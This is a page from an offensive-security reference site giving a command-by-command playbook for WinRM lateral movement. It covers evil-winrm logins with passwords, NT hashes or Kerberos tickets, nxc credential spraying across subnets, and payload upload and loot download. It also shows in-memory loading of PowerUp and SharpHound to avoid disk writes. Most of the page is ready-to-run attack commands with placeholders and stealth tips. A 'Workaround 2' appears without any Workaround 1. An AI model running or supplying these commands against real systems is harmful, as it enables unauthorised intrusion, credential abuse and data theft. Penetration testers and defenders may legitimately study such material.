# WinRM Lateral Movement

> Exploiting Windows Remote Management (WinRM) for lateral movement using tools like Evil-WinRM, CrackMapExec, and PowerShell remoting.

- **URL:** https://hackindex.io/services/winrm/lateral-movement/winrm-lateral-movement
- **Path:** WinRM > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/winrm/lateral-movement.md)
- **Published:** 2026-05-06
- **Updated:** 2026-05-06

WinRM on port 5985 (HTTP) and 5986 (HTTPS) is present on most modern Windows servers and all domain controllers. Any account in the local `Remote Management Users` group or with WinRM access configured can open an interactive PowerShell session. Combined with valid credentials or NT hashes, WinRM is one of the cleanest lateral movement paths because:

- No service creation or binary drop on the target
- Supports password, NT hash, and Kerberos ticket authentication
- In-memory script and assembly loading avoids disk writes
- Native PowerShell Remoting works from any Windows foothold

## **Reach Other Hosts with evil-winrm**

From a Linux attacker box, evil-winrm is the primary tool. Test access with credentials first:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
```

With a hash: no password cracking needed:

```bash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
```

With a domain account:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN
```

With a Kerberos ticket: useful when NTLM is blocked or after overpass-the-hash:

```bash
export KRB5CCNAME=/tmp/$USER.ccache
evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN
```

Use the hostname, not the IP, when authenticating with Kerberos: SPN resolution requires a name.

Over HTTPS (port 5986):

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
```

## **Spray WinRM Access Across Hosts**

Before connecting interactively, verify which hosts in the network accept the credentials over WinRM. nxc handles this efficiently:

```bash
nxc winrm $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN
nxc winrm $TARGET_SUBNET -u $USER -H $NTHASH -d $DOMAIN
# WINRM   10.10.10.20  5985  WEB01   [+] corp.local\jsmith:Password123 (Pwn3d!)
# WINRM   10.10.10.30  5985  FILE01  [-] corp.local\jsmith:Password123
# WINRM   10.10.10.10  5985  DC01    [+] corp.local\jsmith:Password123 (Pwn3d!)
```

`(Pwn3d!)` = account has WinRM access and can open an interactive session.

Run a command across all reachable WinRM hosts without opening an interactive shell:

```bash
nxc winrm $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN -x "whoami"
```

## **PowerShell Remoting from a Windows Session**

From a Windows foothold, use PowerShell Remoting directly. This is the native equivalent of evil-winrm and works inside a compromised Windows session without additional tools.

**Interactive session:**

```powershell
Enter-PSSession -ComputerName $TARGET_HOSTNAME -Credential (Get-Credential)
```

Without a credential prompt: use a pre-built credential object:

```powershell
$cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force))
Enter-PSSession -ComputerName $TARGET_HOSTNAME -Credential $cred
```

**Workaround 2: register a PSSession configuration with explicit credentials:**

```powershell
$cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force))
$s = New-PSSession -ComputerName HostA -Credential $cred
Invoke-Command -Session $s -ScriptBlock { $cred2 = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force)); Invoke-Command -ComputerName HostB -Credential $cred2 -ScriptBlock { whoami }}
```

**Workaround 3: CredSSP** (requires CredSSP enabled on HostA, loud):

```powershell
Enable-WSManCredSSP -Role Client -DelegateComputer "*.corp.local" -Force  # on your local host
# Then connect:
Enter-PSSession -ComputerName HostA -Credential $cred -Authentication Credssp
```

CredSSP delegates credentials through the chain but is detectable and requires configuration changes on the intermediate host: avoid unless necessary.

**Workaround 4: Overpass-the-Hash to get a Kerberos TGT** and use it for the second hop. See [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket).

## **File Transfer via WinRM Session**

Within an evil-winrm session, file transfer is built in:

```powershell
# Inside evil-winrm session:
upload /tmp/payload.exe C:\Windows\Temp\payload.exe
download C:\Windows\Temp\loot.txt /tmp/loot.txt
```

Within a PowerShell Remoting session, use Copy-Item over the PSSession:

```powershell
$s = New-PSSession -ComputerName $TARGET_HOSTNAME -Credential $cred
Copy-Item -Path /tmp/payload.exe -Destination C:\Windows\Temp\payload.exe -ToSession $s
Copy-Item -Path C:\Windows\Temp\loot.txt -Destination /tmp/loot.txt -FromSession $s
```

## **Load Scripts In-Memory via WinRM**

evil-winrm can load PowerShell scripts directly into the remote session without writing to disk: useful for post-exploitation modules:

```bash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -s /usr/share/windows-resources/powersploit/Privesc/
```

Then within the session:

```powershell
PowerUp.ps1
Invoke-AllChecks
```

Load .NET assemblies in-memory:

```bash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -e /tmp/assemblies/
```

```powershell
# Inside evil-winrm session:
Invoke-Binary /tmp/assemblies/SharpHound.exe
```

## References

- [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) - WinRM shell with hash, Kerberos, SSL, and in-memory loading
- [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - WinRM credential spraying and remote command execution
